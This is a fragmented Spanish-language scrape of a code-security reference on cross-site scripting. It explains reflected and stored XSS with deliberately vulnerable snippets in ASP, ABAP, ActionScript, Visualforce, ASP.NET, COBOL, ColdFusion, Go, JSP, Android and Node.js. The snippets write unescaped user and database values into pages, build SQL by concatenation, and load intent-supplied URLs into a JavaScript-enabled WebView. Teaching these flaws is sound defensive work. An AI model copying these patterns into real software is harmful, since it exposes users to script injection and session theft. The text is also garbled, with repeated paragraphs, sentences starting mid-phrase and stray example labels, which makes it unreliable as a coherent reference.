, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
, una fuente externa a la aplicación de destino realiza una solicitud de URL mediante el esquema de URL personalizado de la aplicación de destino, y los datos sin validar de la solicitud de URL se leen posteriormente en la aplicación como datos de confianza y se incluyen en el contenido dinámico.eid
, a partir de una solicitud HTTP, lo codifica en HTML y lo muestra al usuario.
...
eid = Request("eid")
Response.Write "Employee ID:" & Server.HTMLEncode(eid) & "<br/>"
..
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & Server.HTMLEncode(objADORecordSet("name"))
objADORecordSet.MoveNext
Wend
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, desde la solicitud HTTP y lo muestra al usuario.
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.username
, y lo muestra al usuario.
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username
contiene metacaracteres o código fuente, el explorador web lo ejecutará.
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
Example 1
, este código se comporta correctamente cuando los valores de name
están definidos correctamente como caracteres alfanuméricos, pero no funciona para comprobar si hay datos malintencionados. Incluso al leer a partir de una base de datos, el valor debe validarse adecuadamente, porque el contenido de la base de datos puede originarse a partir de datos proporcionados por el usuario. De este modo, un atacante puede tener comandos malintencionados ejecutados en el explorador web del usuario sin tener que interactuar con la víctima, como en el caso de XSS reflejado. Este tipo de ataque, conocido como XSS almacenado (o persistente), puede ser muy difícil de detectar ya que los datos se proporcionan indirectamente a la función vulnerable y a que tiene un mayor impacto debido a la posibilidad de que afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen de la solicitud HTTP y se reflejan en la respuesta HTTP. El XSS reflejado se produce cuando un atacante proporciona contenido peligroso a una aplicación web vulnerable y después se refleja en el usuario y se ejecuta mediante el explorador. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a la víctima. Las direcciones URL diseñadas de esta forma son el núcleo de muchas tramas de suplantación de identidad, en las que un atacante tienta a la víctima para que visite la dirección URL. Después de que el sitio muestre el contenido al usuario, éste se ejecuta y puede realizar varias acciones, como enviar información confidencial privada, ejecutar operaciones no autorizadas en el equipo de la víctima, etc.Example 2
, la base de datos o cualquier otro almacén de datos puede proporcionar datos peligrosos a la aplicación que se incluirán en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el mejor lugar para almacenar contenido malintencionado es un área accesible a todos los usuarios, especialmente los que cuentan con privilegios elevados, que son los que con más probabilidad manejarán información confidencial o realizarán operaciones críticas.
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login
y EmployeeID
son controles de formulario definidos de la siguiente forma:Ejemplo 2: El siguiente segmento de código de ASP.NET muestra el método de implementación mediante programación del
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1
.
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Login
contiene solo texto alfanumérico estándar. Si Login
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName
es un control de formulario definido como se indica a continuación:Ejemplo 4: El siguiente segmento de código de ASP .NET es equivalente desde una perspectiva funcional al
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3
, pero implementa mediante programación todos los elementos de formulario.
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
Example 1
y el Example 2
, estos códigos de muestra funcionan correctamente cuando los valores de name
presentan un comportamiento correcto. De lo contrario, no realizan ninguna acción para impedir ataques. Por otra parte, estos ejemplos pueden parecer menos peligros debido a que el valor de name
se lee desde una base de datos, cuyo contenido administra aparentemente la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
y el Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
y el Example 4
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.EID
, a partir de un formulario HTML y lo muestra al usuario.
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
EID
contiene solo texto alfanumérico estándar. Si EID
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
Example 1
, este código funciona correctamente cuando los valores de ENAME
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de ENAME
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de ENAME
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS almacenado, es especialmente insidioso porque el direccionamiento indirecto que causa el almacén de datos dificulta la identificación de la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente del formulario HTML y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Las explotaciones de XSS almacenado se producen cuando un atacante eid
, de un formulario web y lo muestra al usuario.
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Form.eid
contiene solo texto alfanumérico estándar. Si Form.eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.user
, de una solicitud HTTP y lo muestra al usuario.
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user
contiene solo texto alfanumérico estándar. Si user
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación adecuada de las entradas de todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso, ya que el direccionamiento indirecto causado por el almacén de datos dificulta la identificación de la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS se inició de este modo con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un atacante hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, que luego se refleja en el usuario y se ejecuta en el explorador web. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el atacante puede realizar operaciones con privilegios en nombre del usuario u obtener acceso a datos confidenciales del usuario.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
